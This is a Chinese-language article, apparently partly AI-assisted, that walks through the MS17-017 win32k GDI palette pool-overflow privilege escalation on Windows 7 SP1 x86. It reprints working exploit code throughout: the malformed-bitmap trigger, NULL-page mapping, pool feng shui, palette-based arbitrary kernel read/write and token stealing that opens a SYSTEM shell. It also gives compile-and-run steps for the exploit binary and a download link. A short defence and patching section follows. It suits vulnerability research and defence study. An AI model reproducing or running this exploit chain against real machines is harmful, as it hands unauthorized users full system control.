ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

Windows 内核提权漏洞 MS17-017 深入剖析:基于 GDI Palette 对象滥用与 win32k 池溢出的本地权限提升

Windows 内核提权漏洞 MS17-017 深入剖析:基于 GDI Palette 对象滥用与 win32k 池溢出的本地权限提升 网络安全渗透测试【免费下载链接】windows-kernel-exploitswindows-kernel-exploits Windows平台提权漏洞集合项目地址https://gitcode.com/gh_mirrors/wi/windows-kernel-exploits点击查看免费下载MS17-017 是微软 2017 年 3 月修复的一批 Windows 内核权限提升Elevation of Privilege漏洞之一对应更新 KB4013081官方公告描述为如果攻击者运行一个特制应用程序该漏洞可能允许权限提升。本指南围绕当前仓库 MS17-017 目录下的公告文档、完整利用源码 MS17-017.cpp 与可执行文件 MS17-017.exe系统讲解该漏洞的原理、GDI Palette/Bitmap 对象滥用技术、从 NULL 页映射到任意内存读写的完整利用链条并给出编译、运行与效果验证的实战步骤。读完本文你将掌握这类GDI 对象滥用 内核池溢出提权利用的通用分析方法和源码级调试思路。一、漏洞概览公告、补丁与影响范围仓库根目录 README.md 的漏洞列表中将 MS17-017 登记为安全公告MS17-017对应补丁KB4013081漏洞类型GDI Palette Objects Local Privilege EscalationGDI 调色板对象本地权限提升影响系统Windows 7 / Windows 8MS17-017/README.md 给出了官方口径的描述本次安全更新修复了 Microsoft Windows 中的多个漏洞如果攻击者运行一个特制specially crafted应用程序这些漏洞可能允许权限提升。也就是说这是一个本地提权LPE漏洞攻击前提是已能在目标系统上以普通用户身份执行代码利用成功后可将当前会话权限提升至 SYSTEM。值得指出的是该利用代码出自安全团队 SensePost 的 gdi-palettes-exp 系列Exploit-DB 编号 42432与仓库中另一个 GDI 系列漏洞 MS16-098RGNOBJ 整数溢出CVE-2016-3309同源——两者都是通过滥用 GDI 对象实现内核级读写原语可见这一技术路线在 2016-2017 年 Windows 内核利用中的代表性地位。二、漏洞根源win32k 中的 GDI 池溢出2.1 攻击面内核态 GDI 对象Windows 图形设备接口GDI的很多对象位图 Bitmap、调色板 Palette、区域 Region 等由内核态驱动win32k.sys管理用户态通过CreateBitmap、CreatePalette、CreatePatternBrush、PatBlt等 GDI 32 API 与之交互。这些对象在内核池Pool中分配对象头以Gh05/Gh08等标签标识源码注释中出现Gh05 Address正是这一类对象头。漏洞的核心在于特制的 GDI 对象尺寸与内部计算不一致导致内核池中发生越界写入溢出。从源码 MS17-017.cpp 可以看出触发路径//0x10 is the magic number printf([*] Creating Pattern Brush Bitmap.\r\n); HBITMAP bitmap CreateBitmap(0x23, 0x1d41d41, 1, 1, NULL); printf([*] Creating Pattern Brush.\r\n); HBRUSH hbrBkgnd CreatePatternBrush(bitmap); SelectObject(hdc, hbrBkgnd); fengshui(); printf([*] Triggering Overflow in Win32k!EngRealizeBrush.\r\n); PatBlt(hdc, 0x100, 0x10, 0x100, 0x100, PATCOPY);利用者先创建一个尺寸异常的位图CreateBitmap(0x23, 0x1d41d41, 1, 1, NULL)——宽度 0x23高度 0x1d41d411 个颜色平面每像素 1 位。随后把它交给CreatePatternBrush生成画刷选择到窗口 DC 中最后通过一次PatBlt图案填充调用触发win32k!EngRealizeBrush内部对画刷位图的处理从而在 GDI 池中制造一次越界写入为后续堆风水与对象劫持提供条件。这也是源码注释中0x10 is the magic number的含义——这个精心构造的几何参数组合决定了溢出能否被稳定触发。2.2 关键前提映射 NULL 页与许多 2017 年前后的 Windows 内核利用一样MS17-017 的利用需要在用户态映射 NULL 页用于放置伪造的内核对象。源码 MS17-017.cpp 通过ntdll.dll中导出的NtAllocateVirtualMemory完成HMODULE hNtdll GetModuleHandle(ntdll.dll); FARPROC tmp GetProcAddress(hNtdll, NtAllocateVirtualMemory); PNtAllocateVirtualMemory NtAllocateVirtualMemory (PNtAllocateVirtualMemory)tmp; PVOID baseAddress (PVOID)0x1; // 传入 1会被向下取整到页边界 0 SIZE_T regionSize 0xFF; // 会被向上取整到整页 NTSTATUS ntStatus NtAllocateVirtualMemory( GetCurrentProcess(), baseAddress, 0, regionSize, MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE); if (ntStatus ! 0) { /* 分配失败则退出 */ } PVOID nullPointer (PVOID)((UINT)0x4); *(PUINT)nullPointer (UINT)1; // 在 NULL 页低地址写入标记代码注释解释了关键细节不能直接传 NULL 作为起始地址但传入0x1后系统会将其向下取整为页边界 0从而把地址 0 所在的页映射进用户态regionSize 0xFF会被向上取整到下一个页大小。映射成功后才能利用 NULL 页放置伪造的 GDI 对象头配合溢出实现对象劫持。三、核心利用原语XEPALOBJ 任意读写利用的关键不是直接写内核内存而是先通过溢出获得一对越界可控的 GDI 对象构造出任意地址读 / 任意地址写原语。源码围绕两个对象展开Manager管理对象被溢出的位图/调色板用于修改相邻对象的指针Worker工作对象一个XEPALOBJ扩展调色板对象其成员pFirstColor指向颜色数据缓冲区被改造成任意读/写指针。3.1 三个基础函数源码 MS17-017.cpp 定义了三个原始操作void SetAddress(UINT* address) { SetPaletteEntries((HPALETTE)hpManager, 0x3FE, 1, (PALETTEENTRY*)address); } void WriteToAddress(UINT* data, DWORD len) { SetPaletteEntries((HPALETTE)hpWorker, 0, len, (PALETTEENTRY*)data); } UINT ReadFromAddress(UINT src, UINT* dst, DWORD len) { SetAddress((UINT *)src); DWORD res GetPaletteEntries((HPALETTE)hpWorker, 0, len, (LPPALETTEENTRY)dst); return res; }其含义是SetAddress把src地址写入 Manager 调色板的第0x3FE个条目——由于溢出已使 Manager 的条目区与 Worker 的pFirstColor指针重叠写入该条目即等价于改写 Worker 对象指向的目标地址ReadFromAddress(src, dst, len)先把src作为目标地址设置好再调用GetPaletteEntries从 Worker 的颜色缓冲区读出len个条目——由于pFirstColor已被劫持GetPaletteEntries实际上执行的是对任意内核地址的读WriteToAddress(data, len)调用SetPaletteEntries写入 Worker 的颜色缓冲区——即对任意内核地址的写。至此利用者获得了完整的内核任意读写能力后续所有操作找到 SYSTEM 进程、替换 Token都建立在这三个函数之上。3.2 堆风水GDI 池布局为了让溢出稳定命中相邻对象源码实现了fengshui()函数MS17-017.cpp步骤为分配 2000 个CreateBitmap(0x3A3, 1, 1, 32, NULL)位图对象尺寸约 0xFE8占用池中的 Gh08 槽位注册 2000 个窗口类并设置lpszMenuName Saif在内核 GDI 池中喷射 Ustx 标签的菜单名对象尺寸 0x108释放全部 2000 个位图制造池空洞重新分配 2000 个CreateBitmap(0x1A6, 1, 1, 32, NULL)位图对象尺寸约 0x7F08占据刚腾出的空洞分配 2000 个调色板LOGPALETTE的palNumEntries 0x1E3对象尺寸约 0x7E88注释特别说明大于 0x98 的分配标签是 Gh08小于等于 0x98 则标签为 Gla18——利用者据此保证目标对象落入可预测的 Gh08 槽位注销Class500~Class749之间的窗口类把对应位置的 Ustx 对象释放成空洞。这套占位—释放—再占位的组合使后续被溢出的位图恰好与调色板对象相邻是溢出能否转化为可利用读写原语的关键工程步骤。四、完整利用链从溢出到 SYSTEM Shell结合源码 MS17-017.cpp整条利用链可概括为六个阶段阶段 1准备环境与触发溢出注册窗口类并创建可见窗口取得窗口 DC创建异常的 Pattern Brush 位图并SelectObject到 DC完成fengshui()池布局后调用PatBlt触发EngRealizeBrush中的越界写入。阶段 2定位被溢出的 Manager 位图bits (BYTE*)malloc(0x6F8); for (int i 0; i 2000; i) { res GetBitmapBits(bitmaps[i], 0x6F8, bits); if (res 0x6F8 - 1) { // 只有被溢出污染的位图才能读回超长数据 hManager bitmaps[i]; printf([*] Manager Bitmap: %d\r\n, i); break; } }被越界写入的位图其位图数据长度超出正常值通过GetBitmapBits读回0x6F8字节即可识别出 Manager 对象源码 MS17-017.cpp。阶段 3扩大溢出——改写相邻调色板的 cEntries从 Manager 位图数据偏移0x6F8-8-0x38处读取相邻XEPALOBJ的cEntries条目数然后通过SetBitmapBits把该字段整字节写成0xFF从而把相邻调色板对象的条目数扩大到约 0xFFFFFFFF使GetPaletteEntries/SetPaletteEntries可以越界访问到相邻对象源码 MS17-017.cpp。阶段 4识别 Manager 与 Worker 调色板遍历 2000 个调色板GetPaletteEntries(hp[k], 0, 0x400, ...)返回值超过0x3BB的即是 cEntries 被撑大的Manager 调色板hpManager随后把 Manager 调色板0x3FE条目处的值作为Worker 调色板的pFirstColor指针并通过检查 Worker 对象头部字节wBuffer[1] 24 0x35即Gh05标签的高字节在 2000 个调色板中精确锁定 Worker 对象源码 MS17-017.cpp。阶段 5修复被破坏的对象头溢出会破坏相邻Gh05对象头如pFirstColor、条目数等字段直接使用会导致释放时崩溃。源码在利用前先读取被破坏对象头的 8 个 DWORD修复其中pFirstColor、cEntries等关键字段后写回保证后续内存操作稳定源码 MS17-017.cpp。阶段 6Token 覆盖获得 SYSTEM最后一步利用EPROCESS结构完成权限替换源码 MS17-017.cpp// 版本相关偏移UniqueProcessIdOffset 0x0b4TokenOffset 0x0f8Win7 SP1 VersionSpecificConfig gConfig { 0x0b4 , 0x0f8 }; UINT SystemEPROCESS PsInitialSystemProcess(); // 通过 PsInitialSystemProcess 导出获得 System 的 EPROCESS UINT CurrentEPROCESS PsGetCurrentProcess(); // 沿 ActiveProcessLinks 链表遍历找到当前进程 EPROCESS UINT SystemToken 0; ReadFromAddress(SystemEPROCESS gConfig.TokenOffset, SystemToken, 1); // 读出 System 的 Token UINT CurProccessAddr CurrentEPROCESS gConfig.TokenOffset; SetAddress(CurProccessAddr); WriteToAddress(SystemToken, 1); // 把 System 的 Token 写进当前进程 printf([*] Dropping in SYSTEM shell...\r\n\r\n); system(cmd.exe); // 弹出 SYSTEM 权限的 cmd其中两个关键辅助函数体现了内核对象遍历的思路PsInitialSystemProcess()MS17-017.cpp先用LoadLibrary(ntkrnlpa.exe)加载内核镜像、GetProcAddress取得导出的PsInitialSystemProcess变量地址再用EnumDeviceDrivers拿到内核基址二者相减得到该变量相对内核基址的偏移注释0x169114最后用ReadFromAddress读出的即 System 进程的 EPROCESS 地址PsGetCurrentProcess()MS17-017.cpp从 System 的 EPROCESS 出发沿ActiveProcessLinks双向链表逐节点比对UniqueProcessId与当前 PID从而定位当前进程的 EPROCESS。代码注释给出了_EPROCESS的关键字段UniqueProcessID、ActiveProcessLinks、Token。写回 Token 后调用system(cmd.exe)即获得 SYSTEM 权限的命令行利用结束。五、编译与使用仓库在 MS17-017 目录下同时提供了可直接运行的二进制 MS17-017.exe 和完整源码 MS17-017.cpp另有打包的 gdi-palettes-exp.zipSensePost 原始工程。5.1 直接运行二进制在目标 Windows 7 / 8x86系统上以普通用户身份将MS17-017.exe拷贝到桌面或临时目录在命令行执行C:\Users\test\Desktop MS17-017.exe程序成功后会打印利用过程信息并自动拉起一个 SYSTEM 权限的cmd.exe随后即可执行whoami验证身份。5.2 自行编译源码源码依赖的接口如下MS17-017.cpp#include Windows.h #include stdio.h #include winddi.h #include Psapi.hwinddi.h提供 GDI 引擎类型定义Psapi.h提供EnumDeviceDrivers用于获取内核基址链接时需引入psapi.libNtAllocateVirtualMemory在运行时从ntdll.dll动态解析无需显式链接。可使用 Visual Studio 创建 Win32 控制台项目编译注意目标平台与系统位数需一致源码按 32 位编译运行于 Windows 7 SP1 x86。5.3 适用前提与限制该利用面向Windows 7 SP1x86源码中硬编码了VersionSpecificConfig { 0x0b4, 0x0f8 }UniqueProcessIdOffset/TokenOffset对应 Win7 SP1 的_EPROCESS布局其他系统版本需要重新测定偏移需要内核允许映射 NULL 页且目标系统未安装 KB4013081 补丁利用对池布局依赖较强不同服务包、不同内存状态下的成功率可能不同属于典型的内核堆风水类利用。六、效果验证仓库截图 ms17-017.jpg 展示了在 Windows 7Version 6.1.7601上的完整利用过程提权前普通用户win-ofin86d4h0g\test在C:\Users\test\Desktop下执行whoami输出为低权限账户win-ofin86d4h0g\test运行MS17-017.exe程序打印利用中间信息如Manager: 146、Found Worker: 145、被覆盖的位图地址等随后直接进入Microsoft Windows [Version 6.1.7601]的命令行提示再次执行whoami输出变为nt authority\system——当前会话已被提升到系统最高权限提权成功。这张截图既是漏洞可利用性的直接证据也可作为测试环境Win7 SP1 x86 未打补丁的验证参考。七、防御与检测建议安装补丁MS17-017 的官方修复为 KB4013081Windows 7 / Windows 8应优先通过 Windows Update 或 WSUS 渠道部署后续的月度累积更新同样包含该修复。检测与加固关注win32k.sys版本是否低于修复版本可使用仓库附带的 win-exp-suggesterWindows-Exploit-Suggester扫描缺失补丁快速评估主机暴露面限制本地低权限账户的交互式登录面减少攻击者落地执行特制程序的机会从根因看NULL 页映射、GDI 对象滥用都是该时期内核利用的通用特征可在终端上部署基于 win32k 调用与池行为的内核防护/EDR 规则。八、关联资源漏洞公告MS17-017KB4013081详见 MS17-017/README.md利用源码MS17-017/MS17-017.cpp预编译二进制MS17-017/MS17-017.exe原始工程压缩包MS17-017/gdi-palettes-exp.zip同作者、同技术路线的姊妹漏洞MS16-098/README.mdCVE-2016-3309Windows 8.1 x64 RGNOBJ 整数溢出滥用 GDI 对象仓库总览与全部漏洞清单README.md。免责声明本文仅用于安全研究与防御技术交流请勿在未获授权的系统上使用文中代码由此造成的一切后果与原作者和本仓库无关见仓库根目录 README.md 免责说明。赞分享网络安全渗透测试【免费下载链接】windows-kernel-exploitswindows-kernel-exploits Windows平台提权漏洞集合项目地址https://gitcode.com/gh_mirrors/wi/windows-kernel-exploits点击查看免费下载相关推荐RogueWinRM基于C的Windows本地权限提升工具RogueWinRM基于C的Windows本地权限提升工具 RogueWinRM 是一个开源项目它主要使用 C 编程语言开发。该项目旨在提供一个本地WinPEAS深度剖析Windows权限审计的系统化提权漏洞检测方案WinPEAS深度剖析Windows权限审计的系统化提权漏洞检测方案 一、价值定位Windows权限审计工具的技术定位与应用场景 在现代企业网络环境中Wi网络安全渗透测试应用安全安全与开源治理上一篇如何用GoView零代码快速创建专业数据可视化面板完整指南下一篇一键永久激活KMS_VL_ALL_AIO智能激活工具终极指南创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
返回列表